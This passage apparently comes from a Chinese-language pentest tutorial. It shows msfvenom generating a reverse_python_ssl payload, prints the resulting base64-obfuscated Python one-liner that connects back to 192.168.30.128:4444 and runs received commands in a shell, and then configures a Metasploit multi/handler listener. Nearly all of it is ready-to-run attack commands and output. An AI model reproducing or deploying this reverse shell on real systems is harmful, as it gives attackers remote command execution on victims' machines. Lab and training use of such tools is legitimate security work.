<code>┌──(m9㉿kali)-[~/桌面/2]</code><code>└─$ msfvenom -p cmd/unix/reverse_python_ssl lhost=192.168.30.128 lport=4444</code><code>[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload</code><code>[-] No arch selected, selecting arch: cmd from the payload</code><code>No encoder specified, outputting raw payload</code><code>Payload size: 629 bytes</code><code>python -c "exec(import('base64').b64decode(import('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHNzbApzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzE5Mi4xNjguMzAuMTI4Jyw0NDQ0KSkKcz1zc2wud3JhcF9zb2NrZXQoc28pCkxLPUZhbHNlCndoaWxlIG5vdCBMSzoKCWRhdGE9cy5yZWN2KDEwMjQpCglpZiBsZW4oZGF0YSk9PTA6CgkJTEsgPSBUcnVlCglwcm9jPXN1YnByb2Nlc3MuUG9wZW4oZGF0YSxzaGVsbD1UcnVlLHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsc3RkZXJyPXN1YnByb2Nlc3MuUElQRSxzdGRpbj1zdWJwcm9jZXNzLlBJUEUpCglzdGRvdXRfdmFsdWU9cHJvYy5zdGRvdXQucmVhZCgpICsgcHJvYy5zdGRlcnIucmVhZCgpCglzLnNlbmQoc3Rkb3V0X3ZhbHVlKQo=')[0]))"</code>
复制代码
将python的payload复制下来。
第二步:在攻击机上做监听
<pre><code>msf6 > use exploit/multi/handler</code><code>[*] Using configured payload generic/shell_reverse_tcp</code></pre><pre><code>msf6 exploit(multi/handler) > set payload cmd/unix/reverse_python_ssl</code></pre><pre><code>payload => cmd/unix/reverse_python_ssl</code></pre><pre><code>msf6 exploit(multi/handler) > set lhost 192.168.30.128</code><code>lhost => 192.168.30.128</code></pre><pre><code>msf6 exploit(multi/handler) > run</code><code>[*] Started reverse SSL handler on 192.168.30.128:4444</code></pre>